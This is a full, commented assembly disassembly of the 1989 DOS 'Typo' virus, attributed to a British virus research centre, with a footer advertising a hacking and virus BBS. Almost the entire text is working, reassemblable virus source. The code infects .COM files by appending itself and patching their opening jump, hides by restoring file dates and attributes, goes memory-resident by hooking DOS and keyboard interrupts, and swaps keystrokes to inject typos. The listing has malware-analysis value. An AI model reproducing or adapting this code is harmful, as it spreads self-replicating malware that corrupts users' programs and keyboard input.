page 65,132 title The 'Typo' Virus ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º British Computer Virus Research Centre º ; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º ; º Telephone: Domestic 0273-26105, International +44-273-26105 º ; º º ; º The 'Typo' Virus º ; º Disassembled by Joe Hirst, October 1989 º ; º º ; º Copyright (c) Joe Hirst 1989. º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ VECTOR SEGMENT AT 0 ; Interrupt vectors ORG 58H BW0058 DW ? ; Interrupt 16H offset BW005A DW ? ; Interrupt 16H segment ORG 80H BW0080 DW ? ; Interrupt 20H offset BW0082 DW ? ; Interrupt 20H segment BW0084 DW ? ; Interrupt 21H offset BW0086 DW ? ; Interrupt 21H segment VECTOR ENDS RAM SEGMENT AT 400H ; System data ORG 6CH BW046C DW ? ; System clock RAM ENDS HOST SEGMENT AT 0 ORG 2CH DW002C DW ? ORG 0D0H DW00D0 EQU THIS WORD DB00D0 DB ? ORG 100H DB0100 DB ? DW0101 DW ? HOST ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:HOST DB 'V1' ; Signature DB 0E9H, 1, 0 ; Jump for start of host DB '*.COM', 0 ; File spec for infection DB 0CEH, 0CDH, 20H ; File start read buffer DB 'V1' ; Signature test read buffer DW 5 ; File handle DB 0CDH, 20H, 90H ; Start of host DB 0 DW 5AH ; Generation count DB 0 ; Entry point START: PUSH BX PUSH CX PUSH DX PUSH DS PUSH ES PUSH SI PUSH CS POP DS CALL BP0024 ; \ Get current address BP0024: POP SI ; / SUB SI,24H ; Relocate from start of virus DEC WORD PTR [SI+16H] ; Subtract from generation count CMP WORD PTR [SI+16H],3 ; Is generation count three? JNE BP0036 ; Branch if not MOV WORD PTR [SI+16H],005BH ; Reset generation count to 91 BP0036: CALL BP02BE ; Test system for infection MOV DX,00D0H ; Temp default DTA MOV AH,1AH ; Set DTA function INT 21H ; DOS service MOV AL,[SI+0BH] ; \ Save start of host (1) MOV [SI+12H],AL ; / MOV AX,[SI+0CH] ; \ Save start of host (2) MOV [SI+13H],AX ; / MOV AH,2AH ; Get date function INT 21H ; DOS service TEST DL,1 ; First of month? JNZ BP0074 ; Branch if not MOV DX,SI ; \ Address '*.COM' ADD DX,5 ; / nop XOR CX,CX ; No attributes MOV AH,4EH ; Find first file function INT 21H ; DOS service JB BP0074 ; Branch if not found BP0063: CALL BP0092 ; Test for infection MOV DX,SI ; \ Address '*.COM' ADD DX,5 ; / nop XOR CX,CX ; No attributes MOV AH,4FH ; Find next file function INT 21H ; DOS service JNB BP0063 ; Branch if found BP0074: MOV AL,[SI+12H] ; \ Restore start of host (1) MOV DB0100,AL ; / MOV AX,[SI+13H] ; \ Restore start of host (2) MOV DW0101,AX ; / MOV DX,0080H ; Original default DTA MOV AH,1AH ; Set DTA function INT 21H ; DOS service POP SI POP ES POP DS POP DX POP CX POP BX MOV AX,0100H ; \ Branch to start of host JMP AX ; / ; Test for infection in COM file BP0092: MOV AX,4301H ; Set file attributes function MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA XOR CX,CX ; No attributes INT 21H ; DOS service MOV AX,3D02H ; Open handle (R/W) function MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA INT 21H ; DOS service JNB BP00A9 ; Branch if no error JMP BP015D ; Return BP00A9: MOV [SI+10H],AX ; Save file handle MOV BX,AX ; Move file handle MOV AH,3FH ; Read handle function MOV CX,3 ; Length to read MOV DX,SI ; \ Address start-of-host store ADD DX,000BH ; / nop INT 21H ; DOS service CMP BYTE PTR [SI+0BH],0E9H ; Is it a jump? JNE BP00F1 ; Branch if not MOV DX,[SI+0CH] ; \ SUB DX,16H ; / XOR CX,CX ; No high offset MOV AX,4200H ; Move file pointer function MOV BX,[SI+10H] ; Get file handle INT 21H ; DOS service MOV BX,AX ; Move actual offset (? not used) MOV AH,3FH ; Read handle function MOV CX,2 ; Length to read MOV DX,SI ; \ Address signature test buffer ADD DX,000EH ; / nop MOV BX,[SI+10H] ; Get file handle INT 21H ; DOS service JB BP014A ; Branch if error CMP AX,0 ; Did we read anything? JE BP00F1 ; Branch if not MOV AX,[SI+0EH] ; Get signature test CMP AX,[SI] ; Is it signature? JE BP014A ; Branch if yes BP00F1: XOR CX,CX ; \ No offset XOR DX,DX ; / MOV AX,4202H ; Move file pointer function (EOF) MOV BX,[SI+10H] ; Get file handle INT 21H ; DOS service JB BP014A ; Branch if error SUB AX,3 ; Convert length to jump offset MOV [SI+3],AX ; Store in jump MOV BX,[SI+10H] ; Get file handle MOV AH,40H ; Write handle function MOV CX,OFFSET ENDADR ; Length of virus NOP MOV DX,SI ; \ Address start of virus ADD DX,0 ; / nop INT 21H ; DOS service JB BP014A ; Branch if error ADD WORD PTR [SI+3],19H ; Add entry point offset to jump offset XOR DX,DX ; \ No offset XOR CX,CX ; / MOV AX,4200H ; Move file pointer function MOV BX,[SI+10H] ; Get file handle INT 21H ; DOS service JB BP014A ; Branch if error MOV BX,[SI+10H] ; Get file handle MOV AH,40H ; Write handle function MOV CX,3 ; Length of jump MOV DX,SI ; \ Address initial jump ADD DX,2 ; / nop INT 21H ; DOS service MOV AX,5701H ; Set file date & time function MOV BX,[SI+10H] ; Get file handle MOV CX,DW00D0+16H ; Get file time from DTA MOV DX,DW00D0+18H ; Get file date from DTA INT 21H ; DOS service BP014A: MOV BX,[SI+10H] ; Get file handle MOV AH,3EH ; Close handle function INT 21H ; DOS service MOV AX,4301H ; Set file attributes function MOV DX,OFFSET DB00D0+1EH ; Address file path in DTA MOV CL,DB00D0+15H ; Get attributes from DTA INT 21H ; DOS service BP015D: RET ; Interrupt 16H routine BP015E: STI CMP AH,0DDH ; Infection test function? JNE BP0167 ; Branch if not MOV AL,AH ; Copy function number IRET BP0167: CMP AH,0 ; Get key token? JE BP01D8 ; Branch if yes DB 0EAH ; Far jump DW016D DW 0488H ; Int 16H offset DW016F DW 39D8H ; Int 16H segment DW0171 DW 0FA76H DW0173 DW 0F9DCH DW0175 DW 005AH DB0177 DB 060H, 031H, 032H, 033H, 034H, 035H, 036H, 037H DB 038H, 039H, 030H, 02DH, 03DH, 05CH, 07EH, 021H DB 040H, 023H, 024H, 025H, 05EH, 026H, 02AH, 028H DB 029H, 05FH, 02BH, 07CH, 071H, 077H, 065H, 072H DB 074H, 079H, 075H, 069H, 06FH, 070H, 05BH, 05DH DB 05BH, 061H, 073H, 064H, 066H, 067H, 068H, 06AH DB 06BH, 06CH, 03BH, 027H, 07AH, 078H, 063H, 076H DB 062H, 06EH, 06DH, 02CH, 02EH, 02FH, 051H, 057H DB 045H, 052H, 054H, 059H, 055H, 049H, 04FH, 050H DB 07BH, 07DH, 041H, 053H, 044H, 046H, 047H, 048H DB 04AH, 04BH, 04CH, 03AH, 022H, 03BH, 05AH, 058H DB 043H, 056H, 042H, 04EH, 04DH, 03CH, 03EH, 03FH DB 02EH BP01D8: PUSH SI CALL BP01DC ; \ Get current address BP01DC: POP SI ; / PUSHF CALL DWORD PTR CS:[SI-6FH] ; Execute original BIOS call PUSH BX PUSH ES MOV BX,0040H ; \ Address system RAM MOV ES,BX ; / ASSUME ES:RAM MOV BX,BW046C ; Get system clock, low word PUSH BX SUB BX,CS:[SI-6BH] ; DW0171 CMP BX,2 POP BX MOV CS:[SI-6BH],BX JG BP0236 XCHG BX,CS:[SI-69H] ; DW0173 SUB BX,CS:[SI-69H] NEG BX CMP BX,CS:[SI-67H] ; DW0175 JL BP0236 DEC WORD PTR CS:[SI-67H] CMP WORD PTR CS:[SI-67H],6 JE BP021E MOV WORD PTR CS:[SI-67H],005BH BP021E: SUB SI,65H PUSH CX MOV CX,0061H BP0225: CMP AL,CS:[SI] JE BP0231 INC SI LOOP BP0225 POP CX JMP BP0236 BP0231: POP CX MOV AL,CS:[SI+1] BP0236: POP ES POP BX POP SI RETF 2 ; Interrupt 21H routine ASSUME ES:NOTHING BP023C: CMP AH,0 ; Terminate program? JE BP0246 ; Branch if yes CMP AH,4CH ; Load? JNE BP025F ; Branch if not BP0246: CALL BP026D ; Install virus in memory MOV DX,CS:DW002C ; \ Set ES to environment block MOV ES,DX ; / MOV BX,0 ; Zero length MOV AH,4AH ; Set block function INT 21H ; DOS service MOV DX,001DH ; \ Length to keep ADD DX,1 ; / MOV AH,31H ; Keep process function BP025F: DB 0EAH ; Far jump DW0260 DW 2DEAH ; Int 21H offset DW0262 DW 4242H ; Int 21H segment ; Interrupt 20H routine BP0264: MOV AX,4C00H ; Fake a load JMP BP023C ; Process as a DOS service DW0269 DW 2C08H ; Int 20H offset DW026B DW 4242H ; Int 20H segment ; Install virus in memory BP026D: PUSH CX PUSH DI PUSH SI PUSH ES CALL BP0274 ; \ Get current address BP0274: POP SI ; / PUSH SI MOV DI,0100H ; Address start of area MOV CX,OFFSET BP023C-BP015E ; Length to copy BP027C: MOV AL,CS:[SI+OFFSET BP015E-BP0274] ; Get a byte MOV CS:[DI],AL ; Store in new location INC SI ; Next input position INC DI ; Next output position LOOP BP027C ; Repeat to end of area POP SI XOR CX,CX ; \ Address zero MOV ES,CX ; / ASSUME ES:VECTOR MOV CX,CS:[SI-14H] ; \ Restore Int 21H offset MOV BW0084,CX ; / MOV CX,CS:[SI-12H] ; \ Restore Int 21H segment MOV BW0086,CX ; / MOV CX,CS:[SI-0BH] ; \ Restore Int 20H offset MOV BW0080,CX ; / MOV CX,CS:[SI-9] ; \ Restore Int 20H segment MOV BW0082,CX ; / MOV CX,0100H ; \ Install moved area as Int 16H MOV BW0058,CX ; / ASSUME ES:NOTHING POP ES POP SI POP DI POP CX RET ; Test system for infection BP02BE: PUSH AX XOR AL,AL ; Clear register MOV AH,0DDH ; Infection test function INT 16H ; Keyboard I/O CMP AL,AH ; Are they the same JNE BP02CB ; Branch if not POP AX RET ; Install interrupts BP02CB: PUSH BX PUSH SI PUSH ES MOV DX,[SI+16H] ; Get generation count CALL BP02D4 ; \ Get current address BP02D4: POP SI ; / PUSH BX PUSH ES MOV BX,0040H ; \ Address system RAM MOV ES,BX ; / ASSUME ES:RAM MOV BX,BW046C ; Get system clock, low word MOV CS:[SI+DW0171-BP02D4],BX ; Get system clock, low word MOV CS:[SI+DW0173-BP02D4],BX ; Get system clock, low word ASSUME ES:NOTHING POP ES POP BX MOV [SI+DW0175-BP02D4],DX ; Save generation count XOR AX,AX ; \ Address zero MOV ES,AX ; / ASSUME ES:VECTOR MOV AX,BW0084 ; \ Save Int 21H offset (DW0260) MOV CS:[SI-74H],AX ; MOV AX,BW0086 ; \ Save Int 21H segment (DW0262) MOV CS:[SI-72H],AX ; MOV AX,BW0058 ; \ Save Int 16H offset (DW016D) MOV CS:[SI+0FE99H],AX ; / MOV AX,BW005A ; \ Save Int 16H segment (DW016F) MOV CS:[SI+0FE9BH],AX ; / MOV AX,BW0080 ; \ Save Int 20H offset (DW0269) MOV CS:[SI-6BH],AX ; / MOV AX,BW0082 ; \ Save Int 20H segment (DW026B) MOV CS:[SI-69H],AX ; / CLI PUSH CS ; \ Set Int 21H segment POP BW0086 ; / MOV BW0084,SI ; \ Set Int 21H offset (BP023C) SUB BW0084,0098H ; / PUSH CS ; \ Set Int 20H segment POP BW0082 ; / MOV BW0080,SI ; \ Set Int 20H offset (BP0264) SUB BW0080,70H ; / PUSH CS ; \ Set Int 16H segment POP BW005A ; / MOV BW0058,SI ; \ Set Int 16H offset (BP015E) SUB BW0058,0176H ; / STI ASSUME ES:NOTHING POP ES POP SI POP BX POP AX RET ENDADR EQU $ CODE ENDS END  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ